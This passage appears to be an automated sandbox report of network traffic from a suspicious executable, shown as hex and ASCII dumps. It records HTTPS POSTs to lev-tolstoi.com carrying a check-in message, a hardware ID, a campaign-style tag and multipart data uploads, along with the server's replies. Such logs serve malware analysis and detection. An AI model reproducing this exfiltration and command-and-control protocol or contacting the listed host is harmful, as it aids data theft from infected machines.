cfL4;desc="?proto=TCP&rtt=1755&min_rtt=1753&rtt_var=662&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1648785&cwnd=225&unsent_bytes=0&cid=9b8d4d9613566c41&ts=784&x=0"
2024-12-26 12:22:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-26 12:22:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	172.67.157.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:52 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: lev-tolstoi.com
2024-12-26 12:22:52 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-26 12:22:53 UTC	1123	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cno9isqh56r54npla4soturdjp; expires=Mon, 21 Apr 2025 06:09:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xMFBtkRinGcm88MBW1a8gm4Dd3e8WqLkUq9GcfACGcda%2B3cJVrmrx0XnHVaHU30WSAw%2BXD4HYW98liSm58EpXkqdn4zcLvFzWcr5CX9W8SVFJEyTmD%2BIzc2MCVH1P06Ox2s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8109f5c91e4406-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1754&min_rtt=1751&rtt_var=664&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=952&delivery_rate=1640449&cwnd=186&unsent_bytes=0&cid=2f2f12afc978de61&ts=799&x=0"
2024-12-26 12:22:53 UTC	246	IN	Data Raw: 34 37 32 0d 0a 5a 6b 72 33 39 76 4e 6e 76 41 6f 44 67 4e 47 74 73 51 78 53 58 33 53 30 41 46 67 79 74 52 2b 77 31 77 35 50 39 41 31 41 62 52 4d 64 61 49 48 55 79 56 4f 51 4b 48 44 6c 38 35 66 46 66 69 63 36 57 4a 5a 68 50 42 43 50 65 64 47 37 66 53 72 59 4c 7a 59 41 4d 56 77 73 6c 70 71 41 41 70 41 6f 5a 76 6a 7a 6c 2b 70 33 63 44 6f 61 6c 6a 70 36 56 39 39 39 30 62 74 73 4c 70 39 69 4d 41 46 77 44 69 61 51 6e 70 59 45 32 47 74 76 37 62 54 49 31 47 30 34 4d 52 33 5a 61 44 55 51 6d 54 33 56 72 53 78 31 31 6b 41 6c 47 58 49 72 4b 34 53 64 30 52 71 51 63 53 48 6c 76 34 2b 4c 4c 6a 4d 36 46 74 68 6d 50 46 6e 64 64 39 69 7a 62 53 75 65 66 53 6b 4c 65 77 34 6f 6b 35 2b 63 44 63 78 6d 5a 65 71 2f 7a 74 35 74 63 48 4e 57 30 58 70 36 43 Data Ascii: 472Zkr39vNnvAoDgNGtsQxSX3S0AFgytR+w1w5P9A1AbRMdaIHUyVOQKHDl85fFfic6WJZhPBCPedG7fSrYLzYAMVwslpqAApAoZvjzl+p3cDoaljp6V9990btsLp9iMAFwDiaQnpYE2Gtv7bTI1G04MR3ZaDUQmT3VrSx11kAlGXIrK4Sd0RqQcSHlv4+LLjM6FthmPFndd9izbSuefSkLew4ok5+cDcxmZeq/zt5tcHNW0Xp6C
2024-12-26 12:22:53 UTC	899	IN	Data Raw: 4a 63 75 34 4c 5a 39 50 49 4e 69 4d 67 6b 78 47 32 61 4d 31 4a 59 4a 6e 6a 41 68 36 72 2f 42 31 6d 30 2f 4f 68 66 57 63 44 56 51 31 48 58 61 73 57 59 69 6d 57 41 73 42 58 59 4d 49 5a 4b 62 6c 67 33 59 5a 32 4b 69 2f 59 2f 55 64 6e 42 6c 56 76 5a 79 4f 56 50 44 63 4d 50 31 63 32 4f 50 4c 79 55 44 4d 56 78 6f 6b 35 71 51 43 4e 35 36 61 65 6d 34 79 73 46 6c 4f 54 41 62 31 6d 38 77 58 39 52 39 31 62 39 6d 49 70 78 72 4c 77 4a 33 42 43 6a 56 32 74 45 43 78 69 67 35 6f 70 44 4b 77 32 6b 38 4b 31 54 73 49 69 55 65 7a 6a 33 56 75 53 78 31 31 6d 63 6e 44 48 49 50 4a 35 61 63 6d 68 66 65 65 6d 66 76 74 74 33 56 61 7a 34 33 46 63 52 6f 4e 46 62 55 64 4e 6d 38 61 53 71 53 4c 32 78 50 64 68 78 6f 7a 64 53 77 43 4e 56 6b 61 2f 57 7a 6a 38 77 67 4b 58 30 52 32 69 4a 69 Data Ascii: Jcu4LZ9PINiMgkxG2aM1JYJnjAh6r/B1m0/OhfWcDVQ1HXasWYimWAsBXYMIZKblg3YZ2Ki/Y/UdnBlVvZyOVPDcMP1c2OPLyUDMVxok5qQCN56aem4ysFlOTAb1m8wX9R91b9mIpxrLwJ3BCjV2tECxig5opDKw2k8K1TsIiUezj3VuSx11mcnDHIPJ5acmhfeemfvtt3Vaz43FcRoNFbUdNm8aSqSL2xPdhxozdSwCNVka/Wzj8wgKX0R2iJi
2024-12-26 12:22:53 UTC	1369	IN	Data Raw: 34 34 61 61 0d 0a 67 7a 79 2f 56 72 49 64 59 33 59 67 42 2b 43 79 43 56 6c 5a 55 49 32 6d 6c 73 37 72 72 4d 33 32 49 34 4d 42 72 53 62 54 4a 59 31 48 58 41 75 32 49 72 6b 47 38 6e 54 7a 39 45 4c 34 33 55 79 55 58 36 5a 6e 62 32 75 49 33 6d 62 54 34 7a 45 63 41 69 4a 52 37 4f 50 64 57 35 4c 48 58 57 59 53 38 45 66 51 4d 68 6c 4a 65 52 44 39 42 6e 61 2b 71 37 7a 39 35 76 4f 7a 55 51 32 32 6b 31 58 39 42 31 30 62 6c 70 49 4a 55 76 62 45 39 32 48 47 6a 4e 31 4c 51 4c 33 58 6c 77 6f 49 62 4d 33 57 41 33 4b 31 62 4a 4c 43 4d 51 30 48 47 53 37 53 77 6e 6b 57 67 6d 41 6e 73 48 4c 4a 47 5a 6e 67 7a 58 59 58 50 6f 76 38 48 42 59 7a 6f 34 47 4e 70 6e 4e 56 44 57 66 4e 79 2f 5a 32 33 59 4c 79 55 58 4d 56 78 6f 75 70 6d 42 46 39 52 6a 63 4b 43 47 7a 4e 31 67 4e 79 74 Data Ascii: 44aagzy/VrIdY3YgB+CyCVlZUI2mls7rrM32I4MBrSbTJY1HXAu2IrkG8nTz9EL43UyUX6Znb2uI3mbT4zEcAiJR7OPdW5LHXWYS8EfQMhlJeRD9Bna+q7z95vOzUQ22k1X9B10blpIJUvbE92HGjN1LQL3XlwoIbM3WA3K1bJLCMQ0HGS7SwnkWgmAnsHLJGZngzXYXPov8HBYzo4GNpnNVDWfNy/Z23YLyUXMVxoupmBF9RjcKCGzN1gNyt
2024-12-26 12:22:53 UTC	1369	IN	Data Raw: 46 71 58 59 70 79 73 4c 43 71 61 4c 33 70 50 65 77 67 73 6c 70 69 59 43 64 4e 70 5a 65 57 2b 79 39 4e 6f 4e 6a 67 58 33 57 6f 32 58 39 31 78 31 72 6c 6c 4b 35 70 73 49 51 6b 78 53 6d 69 53 6a 4e 46 64 6e 6b 6c 73 36 62 2f 50 30 48 38 33 66 56 69 57 62 44 78 51 6c 79 58 45 70 58 73 71 69 53 45 37 54 33 59 49 61 4d 33 55 6d 78 66 62 5a 6d 58 6f 74 73 76 66 5a 44 41 34 42 4e 35 6b 50 56 7a 66 65 4e 32 7a 61 53 43 52 5a 43 45 64 59 77 63 73 6d 35 6a 52 53 35 35 76 65 61 4c 72 6a 2f 5a 35 4d 79 30 51 31 53 49 6c 48 73 34 39 31 62 6b 73 64 64 5a 76 4c 41 4e 36 41 79 4f 65 6b 4a 55 46 30 32 4e 76 37 4c 72 44 32 32 49 33 4c 78 76 54 61 6a 42 5a 30 6e 48 66 74 6e 34 75 6c 79 39 73 54 33 59 63 61 4d 33 55 74 6a 62 70 53 79 48 39 2f 64 61 54 61 54 78 39 54 70 5a 6a Data Ascii: FqXYpysLCqaL3pPewgslpiYCdNpZeW+y9NoNjgX3Wo2X91x1rllK5psIQkxSmiSjNFdnkls6b/P0H83fViWbDxQlyXEpXsqiSE7T3YIaM3UmxfbZmXotsvfZDA4BN5kPVzfeN2zaSCRZCEdYwcsm5jRS55veaLrj/Z5My0Q1SIlHs491bksddZvLAN6AyOekJUF02Nv7LrD22I3LxvTajBZ0nHftn4uly9sT3YcaM3UtjbpSyH9/daTaTx9TpZj
2024-12-26 12:22:53 UTC	1369	IN	Data Raw: 33 4e 2b 33 56 74 6b 57 4e 69 56 7a 45 44 49 4a 32 61 6b 67 50 56 5a 47 33 6a 75 73 6e 57 5a 6a 63 79 45 64 39 6c 4f 6c 62 46 65 74 2b 38 62 43 61 66 5a 53 59 4f 65 6b 52 6d 31 5a 4f 4a 52 59 59 6f 55 2b 57 6c 33 39 41 75 4c 33 4d 50 6c 6d 55 32 45 49 38 39 33 36 64 74 4b 49 52 72 4c 51 52 6a 44 79 36 56 6b 59 4d 43 30 6d 4a 75 34 62 76 43 30 47 59 69 50 52 76 57 63 43 68 57 33 48 4f 53 2b 79 77 71 6a 69 39 36 54 30 41 54 49 39 57 4c 33 78 79 65 62 32 32 69 36 34 2f 51 5a 44 30 7a 42 4e 4a 6b 4d 56 50 5a 64 64 65 39 61 43 65 62 59 43 6b 46 65 41 77 6f 6d 70 47 5a 44 74 68 6d 59 4f 53 2f 77 70 4d 67 63 44 6f 4f 6c 6a 70 36 64 38 31 77 31 4b 4a 39 47 4a 46 76 63 30 39 75 53 6a 48 56 6b 35 31 46 68 69 68 73 37 72 6e 43 31 6d 6f 34 4f 68 58 58 62 6a 35 64 32 Data Ascii: 3N+3VtkWNiVzEDIJ2akgPVZG3jusnWZjcyEd9lOlbFet+8bCafZSYOekRm1ZOJRYYoU+Wl39AuL3MPlmU2EI8936dtKIRrLQRjDy6VkYMC0mJu4bvC0GYiPRvWcChW3HOS+ywqji96T0ATI9WL3xyeb22i64/QZD0zBNJkMVPZdde9aCebYCkFeAwompGZDthmYOS/wpMgcDoOljp6d81w1KJ9GJFvc09uSjHVk51Fhihs7rnC1mo4OhXXbj5d2
2024-12-26 12:22:53 UTC	1369	IN	Data Raw: 73 49 35 74 70 49 77 35 35 44 43 69 54 6e 70 55 47 31 32 74 6d 36 37 58 45 30 47 51 2f 4f 68 44 53 59 6a 46 58 32 58 76 58 76 6d 56 74 32 43 38 6c 46 7a 46 63 61 4c 4f 33 67 78 66 73 5a 6d 4c 35 38 39 43 64 64 33 41 36 47 70 59 36 65 6c 76 66 63 73 43 77 5a 53 57 53 5a 69 49 4c 65 77 6b 76 6c 5a 47 63 41 4e 70 6d 5a 65 57 7a 77 39 78 70 4f 44 49 53 31 6d 31 36 48 70 64 36 79 76 55 30 62 62 5a 6b 4e 43 35 2f 44 7a 72 56 69 39 38 63 6e 6d 39 74 6f 75 75 50 33 57 63 78 4e 52 6a 61 61 6a 35 43 31 33 62 62 75 6d 30 69 6c 6d 77 6a 42 58 6b 57 4c 70 57 66 6d 51 4c 57 62 47 2f 77 73 73 43 54 49 48 41 36 44 70 59 36 65 6d 48 42 65 74 57 36 4c 67 53 52 64 43 4d 46 63 67 38 6b 31 59 76 66 48 4a 35 76 62 61 4c 72 6a 39 35 69 50 54 6b 45 32 6d 49 36 57 64 42 33 77 4c Data Ascii: sI5tpIw55DCiTnpUG12tm67XE0GQ/OhDSYjFX2XvXvmVt2C8lFzFcaLO3gxfsZmL589Cdd3A6GpY6elvfcsCwZSWSZiILewkvlZGcANpmZeWzw9xpODIS1m16Hpd6yvU0bbZkNC5/DzrVi98cnm9touuP3WcxNRjaaj5C13bbum0ilmwjBXkWLpWfmQLWbG/wssCTIHA6DpY6emHBetW6LgSRdCMFcg8k1YvfHJ5vbaLrj95iPTkE2mI6WdB3wL
2024-12-26 12:22:53 UTC	1369	IN	Data Raw: 59 79 67 49 66 78 59 70 6e 35 69 51 41 74 6c 6a 63 2b 6d 68 78 4e 74 74 50 6a 55 66 31 6d 77 36 55 64 70 39 6b 76 73 73 4b 6f 34 76 65 6b 39 55 4a 7a 2b 44 6e 74 4d 6d 79 58 35 72 35 62 2f 5a 32 47 38 7a 4b 78 76 47 49 6e 51 51 78 6e 72 44 39 54 51 37 68 6e 67 6c 45 44 38 64 61 4a 4b 59 30 56 32 65 59 32 37 73 76 73 54 58 5a 7a 55 31 46 64 4e 6e 4d 46 7a 62 66 4e 71 38 5a 69 69 54 61 53 67 4d 66 77 73 70 6d 5a 43 59 43 39 63 6f 4c 36 4b 30 31 35 4d 32 63 41 73 47 30 58 6f 33 51 4a 56 50 30 61 52 39 4f 4a 74 2f 4a 45 31 65 42 79 53 57 6b 5a 59 56 6e 6e 63 76 2b 2f 50 49 33 79 35 6f 66 52 62 53 62 6a 6c 58 32 58 4c 66 75 6d 73 6d 6d 57 55 73 48 58 34 42 49 4a 6d 63 6e 42 66 55 59 6e 50 72 75 73 4c 64 5a 69 49 2b 56 70 67 69 50 55 69 58 4a 5a 4b 48 5a 69 36 Data Ascii: YygIfxYpn5iQAtljc+mhxNttPjUf1mw6Udp9kvssKo4vek9UJz+DntMmyX5r5b/Z2G8zKxvGInQQxnrD9TQ7hnglED8daJKY0V2eY27svsTXZzU1FdNnMFzbfNq8ZiiTaSgMfwspmZCYC9coL6K015M2cAsG0Xo3QJVP0aR9OJt/JE1eBySWkZYVnncv+/PI3y5ofRbSbjlX2XLfumsmmWUsHX4BIJmcnBfUYnPrusLdZiI+VpgiPUiXJZKHZi6
2024-12-26 12:22:53 UTC	1369	IN	Data Raw: 33 49 42 4c 36 75 71 6e 77 4c 4b 62 32 2f 6b 73 34 2b 64 4c 6a 39 39 54 75 38 69 63 68 44 6f 4d 35 4b 74 4c 48 58 57 57 69 45 42 66 77 4d 2b 68 4e 6d 79 45 73 68 69 65 71 43 56 79 4d 4a 6e 4a 6a 41 45 6c 69 78 36 56 70 63 6c 67 76 73 73 4b 59 63 76 65 6c 38 6a 58 33 33 47 77 38 46 58 77 53 5a 34 6f 71 57 50 69 7a 78 2b 66 51 53 57 4f 6e 6f 58 31 47 2f 41 73 32 38 37 6c 53 67 63 4d 56 45 50 50 70 53 5a 6d 67 6e 67 56 6e 54 68 76 63 48 55 65 43 46 39 57 4a 5a 74 65 67 6a 75 50 5a 72 31 55 32 50 57 64 32 4a 58 4d 54 45 72 6d 35 71 57 45 38 38 6c 51 65 6d 6c 7a 74 35 6c 50 48 38 58 32 33 49 39 45 4a 6b 39 31 50 55 30 66 64 67 76 4a 68 34 78 58 48 6a 48 7a 38 52 57 69 54 67 7a 2f 66 33 57 6b 33 68 77 5a 55 53 59 49 69 67 51 6a 7a 32 56 74 6e 34 2f 6b 47 77 30 Data Ascii: 3IBL6uqnwLKb2/ks4+dLj99Tu8ichDoM5KtLHXWWiEBfwM+hNmyEshieqCVyMJnJjAElix6VpclgvssKYcvel8jX33Gw8FXwSZ4oqWPizx+fQSWOnoX1G/As287lSgcMVEPPpSZmgngVnThvcHUeCF9WJZtegjuPZr1U2PWd2JXMTErm5qWE88lQemlzt5lPH8X23I9EJk91PU0fdgvJh4xXHjHz8RWiTgz/f3Wk3hwZUSYIigQjz2Vtn4/kGw0
2024-12-26 12:22:53 UTC	1369	IN	Data Raw: 6a 62 31 4a 64 46 68 6a 6f 76 6f 72 66 65 6b 7a 5a 67 62 30 32 44 4d 57 30 41 68 57 4b 63 72 43 77 37 31 6a 64 77 51 54 45 57 61 4d 33 55 31 67 62 4d 65 6d 66 68 70 63 79 55 55 41 34 62 46 64 46 6b 4f 56 37 41 62 4a 43 61 62 79 61 61 59 79 55 5a 54 7a 6f 39 6c 70 71 66 41 73 68 35 49 61 7a 7a 77 4a 4d 32 43 58 30 48 33 47 56 32 47 4a 74 73 77 62 74 6e 4f 35 45 76 48 55 45 78 48 47 6a 4e 31 4b 51 47 30 47 5a 6d 39 4b 4b 43 39 57 30 33 4f 78 58 59 64 53 73 51 6d 54 33 55 39 54 52 2f 32 43 38 6d 48 6a 46 63 65 4d 66 50 78 46 61 4a 4f 44 50 39 2f 64 61 54 65 48 42 6c 52 5a 67 69 4b 42 43 50 50 5a 57 37 59 53 79 56 59 53 45 64 59 77 49 72 67 35 66 57 4f 2b 42 4e 62 4f 2b 32 77 64 52 51 44 68 77 63 78 6d 38 31 56 2b 6c 44 35 61 52 72 50 64 52 4a 49 52 6c 79 52 Data Ascii: jb1JdFhjovorfekzZgb02DMW0AhWKcrCw71jdwQTEWaM3U1gbMemfhpcyUUA4bFdFkOV7AbJCabyaaYyUZTzo9lpqfAsh5IazzwJM2CX0H3GV2GJtswbtnO5EvHUExHGjN1KQG0GZm9KKC9W03OxXYdSsQmT3U9TR/2C8mHjFceMfPxFaJODP9/daTeHBlRZgiKBCPPZW7YSyVYSEdYwIrg5fWO+BNbO+2wdRQDhwcxm81V+lD5aRrPdRJIRlyR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49708	172.67.157.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:55 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KZ5Y8MQZS9AP0DL6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: lev-tolstoi.com
2024-12-26 12:22:55 UTC	12840	OUT	Data Raw: 2d 2d 4b 5a 35 59 38 4d 51 5a 53 39 41 50 30 44 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 39 38 32 31 37 32 38 30 42 38 41 38 34 41 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 5a 35 59 38 4d 51 5a 53 39 41 50 30 44 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 5a 35 59 38 4d 51 5a 53 39 41 50 30 44 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --KZ5Y8MQZS9AP0DL6Content-Disposition: form-data; name="hwid"8198217280B8A84ABEBA0C6A975F1733--KZ5Y8MQZS9AP0DL6Content-Disposition: form-data; name="pid"2--KZ5Y8MQZS9AP0DL6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-26 12:22:56 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rjk9vf1r8p5385bkannn0m370l; expires=Mon, 21 Apr 2025 06:09:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AqQ6Q7zNuh8mOkKoaR92XtwvsdUW%2B2L2E1hPkwZmGdqKXUJITR20iJItm3cKQ1k5TNscCmVGrFG42MQb%2Bxiuo6tH1vEBJo5MvZWfF1DNLmn3395Aj%2B0cP1a18z7go8A1CHM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f810a04ccc00f9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1608&rtt_var=613&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13777&delivery_rate=1769696&cwnd=213&unsent_bytes=0&cid=8467ea04ba17c29e&ts=1014&x=0"
2024-12-26 12:22:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:22:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49709	172.67.157.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:22:58 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PGHIEKKUQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15027 Host: lev-tolstoi.com
2024-12-26 12:22:58 UTC	15027	OUT	Data Raw: 2d 2d 50 47 48 49 45 4b 4b 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 39 38 32 31 37 32 38 30 42 38 41 38 34 41 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 50 47 48 49 45 4b 4b 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 47 48 49 45 4b 4b 55 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 50 47 48 49 45 4b 4b 55 51 0d 0a 43 6f 6e 74 65 6e Data Ascii: --PGHIEKKUQContent-Disposition: form-data; name="hwid"8198217280B8A84ABEBA0C6A975F1733--PGHIEKKUQContent-Disposition: form-data; name="pid"2--PGHIEKKUQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--PGHIEKKUQConten
2024-12-26 12:22:59 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eum936180mbk03n1d46hu7abiu; expires=Mon, 21 Apr 2025 06:09:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RYpVmWBMQX9BlbWd0HbrPvFVI2Zzb3qA%2FJEdcCERtgjnSteZPLaO2z4e4x5qZUknpecETYXdYPVDEK18B7b49OFyHBfZNNX1J9EmS4xPAXv6nKpI7mrnef52gvMGqp66n%2BU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f810a16588241d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1754&rtt_var=661&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15957&delivery_rate=1649717&cwnd=238&unsent_bytes=0&cid=4d3aa6d0119990fd&ts=969&x=0"
2024-12-26 12:22:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-26 12:22:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49711	172.67.157.254	443	7548	C:\Users\user\Desktop\pVbAZEFIpI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 12:23:00 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0NJJQPAW74XX7XH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20230 Host: lev-tolstoi.com
2024-12-26 12:23:00 UTC	15331	OUT	Data Raw: 2d 2d 30 4e 4a 4a 51 50 41 57 37 34 58 58 37 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 39 38 32 31 37 32 38 30 42 38 41 38 34 41 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 4e 4a 4a 51 50 41 57 37 34 58 58 37 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 4e 4a 4a 51 50 41 57 37 34 58 58 37 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --0NJJQPAW74XX7XHContent-Disposition: form-data; name="hwid"8198217280B8A84ABEBA0C6A975F1733--0NJJQPAW74XX7XHContent-Disposition: form-data; name="pid"3--0NJJQPAW74XX7XHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-26 12:23:00 UTC	4899	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
